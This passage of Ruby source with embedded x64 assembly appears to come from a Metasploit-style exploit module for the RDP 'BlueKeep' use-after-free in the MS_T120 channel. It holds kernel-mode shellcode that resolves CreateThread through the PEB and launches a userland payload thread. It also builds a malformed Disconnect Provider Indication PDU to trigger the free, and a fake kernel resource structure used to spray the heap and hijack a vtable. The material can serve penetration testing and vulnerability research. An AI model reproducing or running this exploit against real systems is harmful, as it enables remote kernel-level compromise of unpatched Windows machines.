    rep movsb

    ;======================================
    ; find CreateThread address (in kernel32.dll)
    ;======================================
    mov rax, [rbp+#{data_peb_addr_offset}]
    mov rax, [rax + 0x18]       ; PEB->Ldr
    mov rax, [rax + 0x20]       ; InMemoryOrder list

    ;lea rsi, [rcx + rdx]    ; rsi = ThreadListHead address
    ;mov rbx, rsi    ; use rbx for iterating thread
_find_kernel32_dll_loop:
    mov rax, [rax]       ; first one always be executable
    ; offset 0x38 (WORD)  => must be 0x40 (full name len c:\windows\system32\kernel32.dll)
    ; offset 0x48 (WORD)  => must be 0x18 (name len kernel32.dll)
    ; offset 0x50  => is name
    ; offset 0x20  => is dllbase
    ;cmp word [rax+0x38], 0x40
    ;jne _find_kernel32_dll_loop
    cmp word [rax+0x48], 0x18
    jne _find_kernel32_dll_loop

    mov rdx, [rax+0x50]
    ; check only "32" because name might be lowercase or uppercase
    cmp dword [rdx+0xc], 0x00320033   ; 3\x002\x00
    jnz _find_kernel32_dll_loop

    mov r15, [rax+0x20]
    mov edi, #{createthread_hash}
    call get_proc_addr

    ; save CreateThread address to SystemArgument1
    mov [rbx], rax

_kernel_kapc_routine_exit:
    xor ecx, ecx
    ; clear queueing kapc flag, allow other hijacked system call to run shellcode
    mov byte [rbp+#{data_queueing_kapc_offset}], cl
    ; restore IRQL to APC_LEVEL
    mov cl, 1
    mov cr8, rcx

    pop r15
    pop rsi
    pop rdi
    pop rbx
    pop rbp
    ret

userland_start_thread:
    ; CreateThread(NULL, 0, &threadstart, NULL, 0, NULL)
    xchg rdx, rax   ; rdx is CreateThread address passed from kernel
    xor ecx, ecx    ; lpThreadAttributes = NULL
    push rcx        ; lpThreadId = NULL
    push rcx        ; dwCreationFlags = 0
    mov r9, rcx     ; lpParameter = NULL
    lea r8, [rel userland_payload]  ; lpStartAddr
    mov edx, ecx    ; dwStackSize = 0
    sub rsp, 0x20
    call rax
    add rsp, 0x30
    ret

userland_payload:
    ^

    [
      KERNELMODE_EGG,
      assemble_with_fixups(asm)
    ].pack('<Qa*')
  end

  def create_free_trigger(chan_user_id, chan_id)
    # malformed Disconnect Provider Indication PDU (opcode: 0x2, total_size != 0x20)
    vprint_status("Creating free trigger for user #{chan_user_id} on channel #{chan_id}")
    # The extra bytes on the end of the body is what causes the bad things to happen
    body = "\x00\x00\x00\x00\x00\x00\x00\x00\x02" + "\x00" * 22
    rdp_create_channel_msg(chan_user_id, chan_id, body, 3, 0xFFFFFFF)
  end

  def create_exploit_channel_buffer(target_addr)
    overspray_addr = target_addr + 0x2000
    shellcode_vtbl = target_addr + HEADER_SIZE
    magic_value1 = overspray_addr + 0x810
    magic_value2 = overspray_addr + 0x48
    magic_value3 = overspray_addr + CHUNK_SIZE + HEADER_SIZE

    # first 0x38 bytes are used by DATA PDU packet
    # exploit channel starts at +0x38, which is +0x20 of an _ERESOURCE
    # http://www.tssc.de/winint/Win10_17134_ntoskrnl/_ERESOURCE.htm
    [
      [
        # SystemResourceList (2 pointers, each 8 bytes)
        # Pointer to OWNER_ENTRY (8 bytes)
        # ActiveCount (SHORT, 2 bytes)
        # Flag (WORD, 2 bytes)
        # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        magic_value2, # SystemResourceList (2 pointers, each 8 bytes)
        magic_value2, # --------------------
        0x0, # Pointer to OWNER_ENTRY (8 bytes)
        0x0, # ActiveCount (SHORT, 2 bytes)
        0x0, # Flag (WORD, 2 bytes)
        0x0, # Padding (BYTE[4], 4 bytes) x64 only
        0x0, # SharedWaters (Pointer to KSEMAPHORE, 8 bytes)
        0x0, # ExclusiveWaiters (Pointer to KSEVENT, 8 bytes)
        magic_value2, # OwnerThread (ULONG, 8 bytes)
        magic_value2, # TableSize (ULONG, 8 bytes)
        0x0, # ActiveEntries (DWORD, 4 bytes)
        0x0, # ContenttionCount (DWORD, 4 bytes)
        0x0, # NumberOfSharedWaiters (DWORD, 4 bytes)
        0x0, # NumberOfExclusiveWaiters (DWORD, 4 bytes)
        0x0, # Reserved2 (PVOID, 8 bytes) x64 only
        magic_value2, # Address (PVOID, 8 bytes)
        0x0, # SpinLock (UINT_PTR, 8 bytes)
      ].pack('<Q<Q<Q<S<S<L<Q<Q<Q<Q<L<L<L<L<Q<Q<Q'),
      [
        0x1F, # ClassOffset (DWORD, 4 bytes)
        0x0, # bindStatus (DWORD, 4 bytes)
        0x72, # lockCount1 (QWORD, 8 bytes)
        magic_value3, # connection (QWORD, 8 bytes)
        shellcode_vtbl, # shellcode vtbl ? (QWORD, 8 bytes)
        0x5, # channelClass (DWORD, 4 bytes)
        "MS_T120\x00".encode('ASCII'), # channelName (BYTE[8], 8 bytes)
        0x1F, # channelIndex (DWORD, 4 bytes)
        magic_value1, # channels (QWORD, 8 bytes)
        magic_value1, # connChannelsAddr (POINTER, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list1 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        magic_value1, # list2 (QWORD, 8 bytes)
        0x65756c62, # inputBufferLen (DWORD, 4 bytes)
        0x7065656b, # inputBufferLen (DWORD, 4 bytes)
        magic_value1, # connResrouce (QWORD, 8 bytes)
        0x65756c62, # lockCount158 (DWORD, 4 bytes)
        0x7065656b, # dword15C (DWORD, 4 bytes)
      ].pack('<L<L<Q<Q<Q<La*<L<Q<Q<Q<Q<Q<Q<L<L<Q<L<L')
    ].join('')
  end

end